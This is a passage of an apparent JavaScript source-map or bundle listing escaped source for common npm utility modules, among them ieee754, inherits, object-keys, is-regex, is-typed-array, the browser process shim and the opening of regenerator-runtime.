res.length) this.push(res, this.encoding); \n done();\n }\n catch (e) {\n done(e);\n }\n }\n\n IconvLiteDecoderStream.prototype.collect = function(cb) {\n var res = '';\n this.on('error', cb);\n this.on('data', function(chunk) { res += chunk; });\n this.on('end', function() {\n cb(null, res);\n });\n return this;\n }\n\n return {\n IconvLiteEncoderStream: IconvLiteEncoderStream,\n IconvLiteDecoderStream: IconvLiteDecoderStream,\n };\n};\n","/*! ieee754. BSD-3-Clause License. Feross Aboukhadijeh */\nexports.read = function (buffer, offset, isLE, mLen, nBytes) {\n var e, m\n var eLen = (nBytes * 8) - mLen - 1\n var eMax = (1 << eLen) - 1\n var eBias = eMax >> 1\n var nBits = -7\n var i = isLE ? (nBytes - 1) : 0\n var d = isLE ? -1 : 1\n var s = buffer[offset + i]\n\n i += d\n\n e = s & ((1 << (-nBits)) - 1)\n s >>= (-nBits)\n nBits += eLen\n for (; nBits > 0; e = (e * 256) + buffer[offset + i], i += d, nBits -= 8) {}\n\n m = e & ((1 << (-nBits)) - 1)\n e >>= (-nBits)\n nBits += mLen\n for (; nBits > 0; m = (m * 256) + buffer[offset + i], i += d, nBits -= 8) {}\n\n if (e === 0) {\n e = 1 - eBias\n } else if (e === eMax) {\n return m ? NaN : ((s ? -1 : 1) * Infinity)\n } else {\n m = m + Math.pow(2, mLen)\n e = e - eBias\n }\n return (s ? -1 : 1) * m * Math.pow(2, e - mLen)\n}\n\nexports.write = function (buffer, value, offset, isLE, mLen, nBytes) {\n var e, m, c\n var eLen = (nBytes * 8) - mLen - 1\n var eMax = (1 << eLen) - 1\n var eBias = eMax >> 1\n var rt = (mLen === 23 ? Math.pow(2, -24) - Math.pow(2, -77) : 0)\n var i = isLE ? 0 : (nBytes - 1)\n var d = isLE ? 1 : -1\n var s = value < 0 || (value === 0 && 1 / value < 0) ? 1 : 0\n\n value = Math.abs(value)\n\n if (isNaN(value) || value === Infinity) {\n m = isNaN(value) ? 1 : 0\n e = eMax\n } else {\n e = Math.floor(Math.log(value) / Math.LN2)\n if (value * (c = Math.pow(2, -e)) < 1) {\n e--\n c *= 2\n }\n if (e + eBias >= 1) {\n value += rt / c\n } else {\n value += rt * Math.pow(2, 1 - eBias)\n }\n if (value * c >= 2) {\n e++\n c /= 2\n }\n\n if (e + eBias >= eMax) {\n m = 0\n e = eMax\n } else if (e + eBias >= 1) {\n m = ((value * c) - 1) * Math.pow(2, mLen)\n e = e + eBias\n } else {\n m = value * Math.pow(2, eBias - 1) * Math.pow(2, mLen)\n e = 0\n }\n }\n\n for (; mLen >= 8; buffer[offset + i] = m & 0xff, i += d, m /= 256, mLen -= 8) {}\n\n e = (e << mLen) | m\n eLen += mLen\n for (; eLen > 0; buffer[offset + i] = e & 0xff, i += d, e /= 256, eLen -= 8) {}\n\n buffer[offset + i - d] |= s * 128\n}\n","if (typeof Object.create === 'function') {\n // implementation from standard node.js 'util' module\n module.exports = function inherits(ctor, superCtor) {\n if (superCtor) {\n ctor.super_ = superCtor\n ctor.prototype = Object.create(superCtor.prototype, {\n constructor: {\n value: ctor,\n enumerable: false,\n writable: true,\n configurable: true\n }\n })\n }\n };\n} else {\n // old school shim for old browsers\n module.exports = function inherits(ctor, superCtor) {\n if (superCtor) {\n ctor.super_ = superCtor\n var TempCtor = function () {}\n TempCtor.prototype = superCtor.prototype\n ctor.prototype = new TempCtor()\n ctor.prototype.constructor = ctor\n }\n }\n}\n","'use strict';\n\nvar hasToStringTag = require('has-tostringtag/shams')();\nvar callBound = require('call-bind/callBound');\n\nvar $toString = callBound('Object.prototype.toString');\n\nvar isStandardArguments = function isArguments(value) {\n\tif (hasToStringTag && value && typeof value === 'object' && Symbol.toStringTag in value) {\n\t\treturn false;\n\t}\n\treturn $toString(value) === '[object Arguments]';\n};\n\nvar isLegacyArguments = function isArguments(value) {\n\tif (isStandardArguments(value)) {\n\t\treturn true;\n\t}\n\treturn value !== null &&\n\t\ttypeof value === 'object' &&\n\t\ttypeof value.length === 'number' &&\n\t\tvalue.length >= 0 &&\n\t\t$toString(value) !== '[object Array]' &&\n\t\t$toString(value.callee) === '[object Function]';\n};\n\nvar supportsStandardArguments = (function () {\n\treturn isStandardArguments(arguments);\n}());\n\nisStandardArguments.isLegacyArguments = isLegacyArguments; // for tests\n\nmodule.exports = supportsStandardArguments ? isStandardArguments : isLegacyArguments;\n","'use strict';\n\nvar getDay = Date.prototype.getDay;\nvar tryDateObject = function tryDateGetDayCall(value) {\n\ttry {\n\t\tgetDay.call(value);\n\t\treturn true;\n\t} catch (e) {\n\t\treturn false;\n\t}\n};\n\nvar toStr = Object.prototype.toString;\nvar dateClass = '[object Date]';\nvar hasToStringTag = require('has-tostringtag/shams')();\n\nmodule.exports = function isDateObject(value) {\n\tif (typeof value !== 'object' || value === null) {\n\t\treturn false;\n\t}\n\treturn hasToStringTag ? tryDateObject(value) : toStr.call(value) === dateClass;\n};\n","'use strict';\n\nvar toStr = Object.prototype.toString;\nvar fnToStr = Function.prototype.toString;\nvar isFnRegex = /^\\s*(?:function)?\\*/;\nvar hasToStringTag = require('has-tostringtag/shams')();\nvar getProto = Object.getPrototypeOf;\nvar getGeneratorFunc = function () { // eslint-disable-line consistent-return\n\tif (!hasToStringTag) {\n\t\treturn false;\n\t}\n\ttry {\n\t\treturn Function('return function*() {}')();\n\t} catch (e) {\n\t}\n};\nvar GeneratorFunction;\n\nmodule.exports = function isGeneratorFunction(fn) {\n\tif (typeof fn !== 'function') {\n\t\treturn false;\n\t}\n\tif (isFnRegex.test(fnToStr.call(fn))) {\n\t\treturn true;\n\t}\n\tif (!hasToStringTag) {\n\t\tvar str = toStr.call(fn);\n\t\treturn str === '[object GeneratorFunction]';\n\t}\n\tif (!getProto) {\n\t\treturn false;\n\t}\n\tif (typeof GeneratorFunction === 'undefined') {\n\t\tvar generatorFunc = getGeneratorFunc();\n\t\tGeneratorFunction = generatorFunc ? getProto(generatorFunc) : false;\n\t}\n\treturn getProto(fn) === GeneratorFunction;\n};\n","'use strict';\n\n/* http://www.ecma-international.org/ecma-262/6.0/#sec-number.isnan */\n\nmodule.exports = function isNaN(value) {\n\treturn value !== value;\n};\n","'use strict';\n\nvar callBind = require('call-bind');\nvar define = require('define-properties');\n\nvar implementation = require('./implementation');\nvar getPolyfill = require('./polyfill');\nvar shim = require('./shim');\n\nvar polyfill = callBind(getPolyfill(), Number);\n\n/* http://www.ecma-international.org/ecma-262/6.0/#sec-number.isnan */\n\ndefine(polyfill, {\n\tgetPolyfill: getPolyfill,\n\timplementation: implementation,\n\tshim: shim\n});\n\nmodule.exports = polyfill;\n","'use strict';\n\nvar implementation = require('./implementation');\n\nmodule.exports = function getPolyfill() {\n\tif (Number.isNaN && Number.isNaN(NaN) && !Number.isNaN('a')) {\n\t\treturn Number.isNaN;\n\t}\n\treturn implementation;\n};\n","'use strict';\n\nvar define = require('define-properties');\nvar getPolyfill = require('./polyfill');\n\n/* http://www.ecma-international.org/ecma-262/6.0/#sec-number.isnan */\n\nmodule.exports = function shimNumberIsNaN() {\n\tvar polyfill = getPolyfill();\n\tdefine(Number, { isNaN: polyfill }, {\n\t\tisNaN: function testIsNaN() {\n\t\t\treturn Number.isNaN !== polyfill;\n\t\t}\n\t});\n\treturn polyfill;\n};\n","'use strict';\n\nvar callBound = require('call-bind/callBound');\nvar hasToStringTag = require('has-tostringtag/shams')();\nvar has;\nvar $exec;\nvar isRegexMarker;\nvar badStringifier;\n\nif (hasToStringTag) {\n\thas = callBound('Object.prototype.hasOwnProperty');\n\t$exec = callBound('RegExp.prototype.exec');\n\tisRegexMarker = {};\n\n\tvar throwRegexMarker = function () {\n\t\tthrow isRegexMarker;\n\t};\n\tbadStringifier = {\n\t\ttoString: throwRegexMarker,\n\t\tvalueOf: throwRegexMarker\n\t};\n\n\tif (typeof Symbol.toPrimitive === 'symbol') {\n\t\tbadStringifier[Symbol.toPrimitive] = throwRegexMarker;\n\t}\n}\n\nvar $toString = callBound('Object.prototype.toString');\nvar gOPD = Object.getOwnPropertyDescriptor;\nvar regexClass = '[object RegExp]';\n\nmodule.exports = hasToStringTag\n\t// eslint-disable-next-line consistent-return\n\t? function isRegex(value) {\n\t\tif (!value || typeof value !== 'object') {\n\t\t\treturn false;\n\t\t}\n\n\t\tvar descriptor = gOPD(value, 'lastIndex');\n\t\tvar hasLastIndexDataProperty = descriptor && has(descriptor, 'value');\n\t\tif (!hasLastIndexDataProperty) {\n\t\t\treturn false;\n\t\t}\n\n\t\ttry {\n\t\t\t$exec(value, badStringifier);\n\t\t} catch (e) {\n\t\t\treturn e === isRegexMarker;\n\t\t}\n\t}\n\t: function isRegex(value) {\n\t\t// In older browsers, typeof regex incorrectly returns 'function'\n\t\tif (!value || (typeof value !== 'object' && typeof value !== 'function')) {\n\t\t\treturn false;\n\t\t}\n\n\t\treturn $toString(value) === regexClass;\n\t};\n","'use strict';\n\nvar forEach = require('foreach');\nvar availableTypedArrays = require('available-typed-arrays');\nvar callBound = require('call-bind/callBound');\n\nvar $toString = callBound('Object.prototype.toString');\nvar hasToStringTag = require('has-tostringtag/shams')();\n\nvar g = typeof globalThis === 'undefined' ? global : globalThis;\nvar typedArrays = availableTypedArrays();\n\nvar $indexOf = callBound('Array.prototype.indexOf', true) || function indexOf(array, value) {\n\tfor (var i = 0; i < array.length; i += 1) {\n\t\tif (array[i] === value) {\n\t\t\treturn i;\n\t\t}\n\t}\n\treturn -1;\n};\nvar $slice = callBound('String.prototype.slice');\nvar toStrTags = {};\nvar gOPD = require('es-abstract/helpers/getOwnPropertyDescriptor');\nvar getPrototypeOf = Object.getPrototypeOf; // require('getprototypeof');\nif (hasToStringTag && gOPD && getPrototypeOf) {\n\tforEach(typedArrays, function (typedArray) {\n\t\tvar arr = new g[typedArray]();\n\t\tif (Symbol.toStringTag in arr) {\n\t\t\tvar proto = getPrototypeOf(arr);\n\t\t\tvar descriptor = gOPD(proto, Symbol.toStringTag);\n\t\t\tif (!descriptor) {\n\t\t\t\tvar superProto = getPrototypeOf(proto);\n\t\t\t\tdescriptor = gOPD(superProto, Symbol.toStringTag);\n\t\t\t}\n\t\t\ttoStrTags[typedArray] = descriptor.get;\n\t\t}\n\t});\n}\n\nvar tryTypedArrays = function tryAllTypedArrays(value) {\n\tvar anyTrue = false;\n\tforEach(toStrTags, function (getter, typedArray) {\n\t\tif (!anyTrue) {\n\t\t\ttry {\n\t\t\t\tanyTrue = getter.call(value) === typedArray;\n\t\t\t} catch (e) { /**/ }\n\t\t}\n\t});\n\treturn anyTrue;\n};\n\nmodule.exports = function isTypedArray(value) {\n\tif (!value || typeof value !== 'object') { return false; }\n\tif (!hasToStringTag || !(Symbol.toStringTag in value)) {\n\t\tvar tag = $slice($toString(value), 8, -1);\n\t\treturn $indexOf(typedArrays, tag) > -1;\n\t}\n\tif (!gOPD) { return false; }\n\treturn tryTypedArrays(value);\n};\n","'use strict';\n\nvar numberIsNaN = function (value) {\n\treturn value !== value;\n};\n\nmodule.exports = function is(a, b) {\n\tif (a === 0 && b === 0) {\n\t\treturn 1 / a === 1 / b;\n\t}\n\tif (a === b) {\n\t\treturn true;\n\t}\n\tif (numberIsNaN(a) && numberIsNaN(b)) {\n\t\treturn true;\n\t}\n\treturn false;\n};\n\n","'use strict';\n\nvar define = require('define-properties');\nvar callBind = require('call-bind');\n\nvar implementation = require('./implementation');\nvar getPolyfill = require('./polyfill');\nvar shim = require('./shim');\n\nvar polyfill = callBind(getPolyfill(), Object);\n\ndefine(polyfill, {\n\tgetPolyfill: getPolyfill,\n\timplementation: implementation,\n\tshim: shim\n});\n\nmodule.exports = polyfill;\n","'use strict';\n\nvar implementation = require('./implementation');\n\nmodule.exports = function getPolyfill() {\n\treturn typeof Object.is === 'function' ? Object.is : implementation;\n};\n","'use strict';\n\nvar getPolyfill = require('./polyfill');\nvar define = require('define-properties');\n\nmodule.exports = function shimObjectIs() {\n\tvar polyfill = getPolyfill();\n\tdefine(Object, { is: polyfill }, {\n\t\tis: function testObjectIs() {\n\t\t\treturn Object.is !== polyfill;\n\t\t}\n\t});\n\treturn polyfill;\n};\n","'use strict';\n\nvar keysShim;\nif (!Object.keys) {\n\t// modified from https://github.com/es-shims/es5-shim\n\tvar has = Object.prototype.hasOwnProperty;\n\tvar toStr = Object.prototype.toString;\n\tvar isArgs = require('./isArguments'); // eslint-disable-line global-require\n\tvar isEnumerable = Object.prototype.propertyIsEnumerable;\n\tvar hasDontEnumBug = !isEnumerable.call({ toString: null }, 'toString');\n\tvar hasProtoEnumBug = isEnumerable.call(function () {}, 'prototype');\n\tvar dontEnums = [\n\t\t'toString',\n\t\t'toLocaleString',\n\t\t'valueOf',\n\t\t'hasOwnProperty',\n\t\t'isPrototypeOf',\n\t\t'propertyIsEnumerable',\n\t\t'constructor'\n\t];\n\tvar equalsConstructorPrototype = function (o) {\n\t\tvar ctor = o.constructor;\n\t\treturn ctor && ctor.prototype === o;\n\t};\n\tvar excludedKeys = {\n\t\t$applicationCache: true,\n\t\t$console: true,\n\t\t$external: true,\n\t\t$frame: true,\n\t\t$frameElement: true,\n\t\t$frames: true,\n\t\t$innerHeight: true,\n\t\t$innerWidth: true,\n\t\t$onmozfullscreenchange: true,\n\t\t$onmozfullscreenerror: true,\n\t\t$outerHeight: true,\n\t\t$outerWidth: true,\n\t\t$pageXOffset: true,\n\t\t$pageYOffset: true,\n\t\t$parent: true,\n\t\t$scrollLeft: true,\n\t\t$scrollTop: true,\n\t\t$scrollX: true,\n\t\t$scrollY: true,\n\t\t$self: true,\n\t\t$webkitIndexedDB: true,\n\t\t$webkitStorageInfo: true,\n\t\t$window: true\n\t};\n\tvar hasAutomationEqualityBug = (function () {\n\t\t/* global window */\n\t\tif (typeof window === 'undefined') { return false; }\n\t\tfor (var k in window) {\n\t\t\ttry {\n\t\t\t\tif (!excludedKeys['$' + k] && has.call(window, k) && window[k] !== null && typeof window[k] === 'object') {\n\t\t\t\t\ttry {\n\t\t\t\t\t\tequalsConstructorPrototype(window[k]);\n\t\t\t\t\t} catch (e) {\n\t\t\t\t\t\treturn true;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t} catch (e) {\n\t\t\t\treturn true;\n\t\t\t}\n\t\t}\n\t\treturn false;\n\t}());\n\tvar equalsConstructorPrototypeIfNotBuggy = function (o) {\n\t\t/* global window */\n\t\tif (typeof window === 'undefined' || !hasAutomationEqualityBug) {\n\t\t\treturn equalsConstructorPrototype(o);\n\t\t}\n\t\ttry {\n\t\t\treturn equalsConstructorPrototype(o);\n\t\t} catch (e) {\n\t\t\treturn false;\n\t\t}\n\t};\n\n\tkeysShim = function keys(object) {\n\t\tvar isObject = object !== null && typeof object === 'object';\n\t\tvar isFunction = toStr.call(object) === '[object Function]';\n\t\tvar isArguments = isArgs(object);\n\t\tvar isString = isObject && toStr.call(object) === '[object String]';\n\t\tvar theKeys = [];\n\n\t\tif (!isObject && !isFunction && !isArguments) {\n\t\t\tthrow new TypeError('Object.keys called on a non-object');\n\t\t}\n\n\t\tvar skipProto = hasProtoEnumBug && isFunction;\n\t\tif (isString && object.length > 0 && !has.call(object, 0)) {\n\t\t\tfor (var i = 0; i < object.length; ++i) {\n\t\t\t\ttheKeys.push(String(i));\n\t\t\t}\n\t\t}\n\n\t\tif (isArguments && object.length > 0) {\n\t\t\tfor (var j = 0; j < object.length; ++j) {\n\t\t\t\ttheKeys.push(String(j));\n\t\t\t}\n\t\t} else {\n\t\t\tfor (var name in object) {\n\t\t\t\tif (!(skipProto && name === 'prototype') && has.call(object, name)) {\n\t\t\t\t\ttheKeys.push(String(name));\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tif (hasDontEnumBug) {\n\t\t\tvar skipConstructor = equalsConstructorPrototypeIfNotBuggy(object);\n\n\t\t\tfor (var k = 0; k < dontEnums.length; ++k) {\n\t\t\t\tif (!(skipConstructor && dontEnums[k] === 'constructor') && has.call(object, dontEnums[k])) {\n\t\t\t\t\ttheKeys.push(dontEnums[k]);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn theKeys;\n\t};\n}\nmodule.exports = keysShim;\n","'use strict';\n\nvar slice = Array.prototype.slice;\nvar isArgs = require('./isArguments');\n\nvar origKeys = Object.keys;\nvar keysShim = origKeys ? function keys(o) { return origKeys(o); } : require('./implementation');\n\nvar originalKeys = Object.keys;\n\nkeysShim.shim = function shimObjectKeys() {\n\tif (Object.keys) {\n\t\tvar keysWorksWithArguments = (function () {\n\t\t\t// Safari 5.0 bug\n\t\t\tvar args = Object.keys(arguments);\n\t\t\treturn args && args.length === arguments.length;\n\t\t}(1, 2));\n\t\tif (!keysWorksWithArguments) {\n\t\t\tObject.keys = function keys(object) { // eslint-disable-line func-name-matching\n\t\t\t\tif (isArgs(object)) {\n\t\t\t\t\treturn originalKeys(slice.call(object));\n\t\t\t\t}\n\t\t\t\treturn originalKeys(object);\n\t\t\t};\n\t\t}\n\t} else {\n\t\tObject.keys = keysShim;\n\t}\n\treturn Object.keys || keysShim;\n};\n\nmodule.exports = keysShim;\n","'use strict';\n\nvar toStr = Object.prototype.toString;\n\nmodule.exports = function isArguments(value) {\n\tvar str = toStr.call(value);\n\tvar isArgs = str === '[object Arguments]';\n\tif (!isArgs) {\n\t\tisArgs = str !== '[object Array]' &&\n\t\t\tvalue !== null &&\n\t\t\ttypeof value === 'object' &&\n\t\t\ttypeof value.length === 'number' &&\n\t\t\tvalue.length >= 0 &&\n\t\t\ttoStr.call(value.callee) === '[object Function]';\n\t}\n\treturn isArgs;\n};\n","// shim for using process in browser\nvar process = module.exports = {};\n\n// cached from whatever global is present so that test runners that stub it\n// don't break things. But we need to wrap it in a try catch in case it is\n// wrapped in strict mode code which doesn't define any globals. It's inside a\n// function because try/catches deoptimize in certain engines.\n\nvar cachedSetTimeout;\nvar cachedClearTimeout;\n\nfunction defaultSetTimout() {\n throw new Error('setTimeout has not been defined');\n}\nfunction defaultClearTimeout () {\n throw new Error('clearTimeout has not been defined');\n}\n(function () {\n try {\n if (typeof setTimeout === 'function') {\n cachedSetTimeout = setTimeout;\n } else {\n cachedSetTimeout = defaultSetTimout;\n }\n } catch (e) {\n cachedSetTimeout = defaultSetTimout;\n }\n try {\n if (typeof clearTimeout === 'function') {\n cachedClearTimeout = clearTimeout;\n } else {\n cachedClearTimeout = defaultClearTimeout;\n }\n } catch (e) {\n cachedClearTimeout = defaultClearTimeout;\n }\n} ())\nfunction runTimeout(fun) {\n if (cachedSetTimeout === setTimeout) {\n //normal enviroments in sane situations\n return setTimeout(fun, 0);\n }\n // if setTimeout wasn't available but was latter defined\n if ((cachedSetTimeout === defaultSetTimout || !cachedSetTimeout) && setTimeout) {\n cachedSetTimeout = setTimeout;\n return setTimeout(fun, 0);\n }\n try {\n // when when somebody has screwed with setTimeout but no I.E. maddness\n return cachedSetTimeout(fun, 0);\n } catch(e){\n try {\n // When we are in I.E. but the script has been evaled so I.E. doesn't trust the global object when called normally\n return cachedSetTimeout.call(null, fun, 0);\n } catch(e){\n // same as above but when it's a version of I.E. that must have the global object for 'this', hopfully our context correct otherwise it will throw a global error\n return cachedSetTimeout.call(this, fun, 0);\n }\n }\n\n\n}\nfunction runClearTimeout(marker) {\n if (cachedClearTimeout === clearTimeout) {\n //normal enviroments in sane situations\n return clearTimeout(marker);\n }\n // if clearTimeout wasn't available but was latter defined\n if ((cachedClearTimeout === defaultClearTimeout || !cachedClearTimeout) && clearTimeout) {\n cachedClearTimeout = clearTimeout;\n return clearTimeout(marker);\n }\n try {\n // when when somebody has screwed with setTimeout but no I.E. maddness\n return cachedClearTimeout(marker);\n } catch (e){\n try {\n // When we are in I.E. but the script has been evaled so I.E. doesn't trust the global object when called normally\n return cachedClearTimeout.call(null, marker);\n } catch (e){\n // same as above but when it's a version of I.E. that must have the global object for 'this', hopfully our context correct otherwise it will throw a global error.\n // Some versions of I.E. have different rules for clearTimeout vs setTimeout\n return cachedClearTimeout.call(this, marker);\n }\n }\n\n\n\n}\nvar queue = [];\nvar draining = false;\nvar currentQueue;\nvar queueIndex = -1;\n\nfunction cleanUpNextTick() {\n if (!draining || !currentQueue) {\n return;\n }\n draining = false;\n if (currentQueue.length) {\n queue = currentQueue.concat(queue);\n } else {\n queueIndex = -1;\n }\n if (queue.length) {\n drainQueue();\n }\n}\n\nfunction drainQueue() {\n if (draining) {\n return;\n }\n var timeout = runTimeout(cleanUpNextTick);\n draining = true;\n\n var len = queue.length;\n while(len) {\n currentQueue = queue;\n queue = [];\n while (++queueIndex < len) {\n if (currentQueue) {\n currentQueue[queueIndex].run();\n }\n }\n queueIndex = -1;\n len = queue.length;\n }\n currentQueue = null;\n draining = false;\n runClearTimeout(timeout);\n}\n\nprocess.nextTick = function (fun) {\n var args = new Array(arguments.length - 1);\n if (arguments.length > 1) {\n for (var i = 1; i < arguments.length; i++) {\n args[i - 1] = arguments[i];\n }\n }\n queue.push(new Item(fun, args));\n if (queue.length === 1 && !draining) {\n runTimeout(drainQueue);\n }\n};\n\n// v8 likes predictible objects\nfunction Item(fun, array) {\n this.fun = fun;\n this.array = array;\n}\nItem.prototype.run = function () {\n this.fun.apply(null, this.array);\n};\nprocess.title = 'browser';\nprocess.browser = true;\nprocess.env = {};\nprocess.argv = [];\nprocess.version = ''; // empty string to avoid regexp issues\nprocess.versions = {};\n\nfunction noop() {}\n\nprocess.on = noop;\nprocess.addListener = noop;\nprocess.once = noop;\nprocess.off = noop;\nprocess.removeListener = noop;\nprocess.removeAllListeners = noop;\nprocess.emit = noop;\nprocess.prependListener = noop;\nprocess.prependOnceListener = noop;\n\nprocess.listeners = function (name) { return [] }\n\nprocess.binding = function (name) {\n throw new Error('process.binding is not supported');\n};\n\nprocess.cwd = function () { return '/' };\nprocess.chdir = function (dir) {\n throw new Error('process.chdir is not supported');\n};\nprocess.umask = function() { return 0; };\n","/**\n * Copyright (c) 2014-present, Facebook, Inc.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nvar runtime = (function (exports) {\n \"use strict\";\n\n var Op = Object.prototype;\n var hasOwn = Op.hasOwnProperty;\n var undefined; // More compressible than void 0.\n var $Symbol = typeof Symbol === \"function\" ? Symbol : {};\n var iteratorSymbol = $Symbol.iterator || \"@@iterator\";\n var asyncIteratorSymbol = $Symbol.asyncIterator || \"@@asyncIterator\";\n var toStringTagSymbol = $Symbol.toStringTag || \"@@toStringTag\";\n\n function define(obj, key, value) {\n Object.defineProperty(obj, key, {\n value: value,\n enumerable: true,\n configurable: true,\n writable: true\n });\n return obj[key];\n }\n try {\n // IE 8 has a broken Object.defineProperty that only works on DOM objects.\n define({}, \"\");\n } catch (err) {\n define = function(obj, key, value) {\n return obj[key] = value;\n };\n }\n\n function wrap(innerFn, outerFn, self, tryLocsList) {\n // If outerFn provided and outerFn.prototype is a Generator, then outerFn.prototype instanceof Generator.\n var protoGenerator = outerFn && outerFn.prototype instanceof Generator ? outerFn : Generator;\n var generator = Object.create(protoGenerator.prototype);\n var context = new Context(tryLocsList || []);\n\n // The ._invoke method unifies the implementations of the .next,\n // .throw, and .return methods.\n generator._invoke = makeInvokeMethod(innerFn, self, context);\n\n return generator;\n }\n exports.wrap = wrap;\n\n // Try/catch helper to minimize deoptimizations. Returns a completion\n // record like context.tryEntries[i].completion. This interface could\n // have been (and was previously) designed to take a closure to be\n // invoked without arguments, but in all the cases we care about we\n // already have an existing method we want to call, so there's no need\n // to create a new function object. We can even get away with assuming\n // the method takes exactly one argument, since that happens to be true\n // in every case, so we don't have to touch the arguments object. The\n // only additional allocation required is the completion record, which\n // has a stable shape and so hopefully should be cheap to allocate.\n function tryCatch(fn, obj, arg) {\n try {\n return { type: \"normal\", arg: fn.call(obj, arg) };\n } catch (err) {\n return { type: \"throw\", arg: err };\n }\n }\n\n var GenStateSuspendedStart = \"suspendedStart\";\n var GenStateSuspendedYield = \"suspendedYield\";\n var GenStateExecuting = \"executing\";\n var GenStateCompleted = \"completed\";\n\n // Returning this object from the innerFn has the same effect as\n // breaking out of the dispatch switch statement.\n var ContinueSentinel = {};\n\n // Dummy constructor functions that we use as the .constructor and\n // .constructor.prototype properties for functions that return Generator\n // objects. For full spec compliance, you may wish to configure your\n // minifier not to mangle the names of these two functions.\n function Generator() {}\n function GeneratorFunction() {}\n function GeneratorFunctionPrototype() {}\n\n // This is a polyfill for %IteratorPrototype% for environments that\n // don't natively support it.\n var IteratorPrototype = {};\n define(IteratorPrototype, iteratorSymbol, function () {\n return this;\n });\n\n var getProto = Object.getPrototypeOf;\n var NativeIteratorPrototype = getProto && getProto(getProto(values([])));\n if (NativeIteratorPrototype &&\n NativeIteratorPrototype !== Op &&\n hasOwn.call(NativeIteratorPrototype, iteratorSymbol)) {\n // This environment has a native %IteratorPrototype%; use it instead\n // of the polyfill.\n IteratorPrototype = NativeIteratorPrototype;\n }\n\n var Gp = GeneratorFunctionPrototype.prototype =\n Generator.prototype = Object.create(IteratorPrototype);\n GeneratorFunction.prototype = GeneratorFunctionPrototype;\n define(Gp, \"constructor\", GeneratorFunctionPrototype);\n define(GeneratorFunctionPrototype, \"constructor\", GeneratorFunction);\n GeneratorFunction.displayName = define(\n GeneratorFunctionPrototype,\n toStringTagSymbol,\n \"GeneratorFunction\"\n );\n\n // Helper for defining the .next, .throw, and .return methods of the\n // Iterator interface in terms of a single ._invoke method.\n function defineIteratorMethods(prototype) {\n [\"next\", \"throw\", \"return\"].forEach(function(method) {\n define(prototype, method, function(arg) {\n return this._invoke(method, arg);\n });\n });\n }\n\n exports.isGeneratorFunction = function(genFun) {\n var ctor = typeof genFun === \"function\" && genFun.constructor;\n return ctor\n ? ctor === GeneratorFunction ||\n // For the native GeneratorFunction constructor, the best we can\n // do is to check its .name property.\n (ctor.displayName || ctor.name) === \"GeneratorFunction\"\n : false;\n };\n\n exports.mark = function(genFun) {\n if (Object.setPrototypeOf) {\n Object.setPrototypeOf(genFun, GeneratorFunctionPrototype);\n } else {\n genFun.__proto__ = GeneratorFunctionPrototype;\n define(genFun, toStringTagSymbol, \"GeneratorFunction\");\n }\n genFun.prototype = Object.create(Gp);\n return genFun;\n };\n\n // Within the body of any async function, `await x` is transformed to\n // `yield regeneratorRuntime.awrap(x)`, so that the runtime can test\n // `hasOwn.call(value, \"__await\")` to determine if the yielded value is\n // meant to be awaited.\n exports.awrap = function(arg) {\n return { __await: arg };\n };\n\n function AsyncIterator(generator, PromiseImpl) {\n function invoke(method, arg, resolve, reject) {\n var record = tryCatch(generator[method], generator, arg);\n if (record.type === \"throw\") {\n reject(record.arg);\n } else {\n var result = record.arg;\n var value = result.value;\n if (value &&\n typeof value === \"object\" &&\n hasOwn.call(value, \"__await\")) {\n return PromiseImpl.resolve(value.__await).then(function(value) {\n invoke(\"next\", value, resolve, reject);\n }, function(err) {\n invoke(\"throw\", err, resolve, reject);\n });\n }\n\n return PromiseImpl.resolve(value).then(function(unwrapped) {\n // When a yielded Promise is resolved, its final value becomes\n // the .value of the Promise<{value,done}> result for the\n // current iteration.\n result.value = unwrapped;\n resolve(result);\n }, function(error) {\n // If a rejected Promise was yielded, throw the rejection back\n // into the async generator function so it can be handled there.\n return invoke(\"throw\", error, resolve, reject);\n });\n }\n }\n\n var previousPromise;\n\n function enqueue(method, arg) {\n function callInvokeWithMethodAndArg() {\n return new PromiseImpl(function(resolve, reject) {\n invoke(method, arg, resolve, reject);\n });\n }\n\n return previousPromise =\n // If enqueue has been called before, then we want to wait until\n // all previous Promises have been resolved before calling invoke,\n // so that results are always delivered in the correct order. If\n // enqueue has not been called before, then it is important to\n // call invoke immediately, without waiting on a callback to fire,\n // so that the async generator function has the opportunity to do\n // any necessary setup in a predictable way. This predictability\n // is why the Promise constructor synchronously invokes its\n // executor callback, and why async functions synchronously\n // execute code before the first await. Since we implement simple\n // async functions in terms of async generators, it is especially\n // important to get this right, even though it requires care.\n previousPromise ? previousPromise.then(\n callInvokeWithMethodAndArg,\n // Avoid propagating failures to Promises returned by later\n // invocations of the iterator.\n callInvokeWithMethodAndArg\n ) : callInvokeWithMethodAndArg();\n }\n\n // Define the unified helper method that is used to implement .next,\n // .throw, and .return (see defineIteratorMethods).\n this._invoke = enqueue;\n }\n\n defineIteratorMethods(AsyncIterator.prototype);\n define(AsyncIterator.prototype, asyncIteratorSymbol, function () {\n return this;\n });\n exports.AsyncIterator = AsyncIterator;\n\n // Note that simple async functions are implemented on top of\n // AsyncIterator objects; they just return a Promise for the value of\n // the final result produced by the iterator.\n exports.async = function(innerFn, outerFn, self, tryLocsList, PromiseImpl) {\n if (PromiseImpl === void 0) PromiseImpl = Promise;\n\n var iter = new AsyncIterator(\n wrap(innerFn, outerFn, self, tryLocsList),\n PromiseImpl\n );\n\n return exports.isGeneratorFunction(outerFn)\n ? iter // If outerFn is a generator, return the full iterator.\n : iter.next().then(function(result) {\n return result.done ? result.value : iter.next();\n });\n };\n\n function makeInvokeMethod(innerFn, self, context) {\n var state = GenStateSuspendedStart;\n\n return function invoke(method, arg) {\n if (state === GenStateExecuting) {\n throw new Error(\"Generator is already running\");\n }\n\n if (state === GenStateCompleted) {\n if (method === \"throw\") {\n throw arg;\n }\n\n // Be forgiving, per 25.3.3.3.3 of the spec:\n // https://people.mozilla.org/~jorendorff/es6-draft.html#sec-generatorresume\n return doneResult();\n }\n\n context.method = method;\n context.arg = arg;\n\n while (true) {\n var delegate = context.delegate;\n if (delegate) {\n var delegateResult = maybeInvokeDelegate(delegate, context);\n if (delegateResult) {\n if (delegateResult === ContinueSentinel) continue;\n return delegateResult;\n }\n }\n\n if (context.method === \"next\") {\n // Setting context._sent for legacy support of Babel's\n // function.sent implementation.\n context.sent = context._sent = context.arg;\n\n } else if 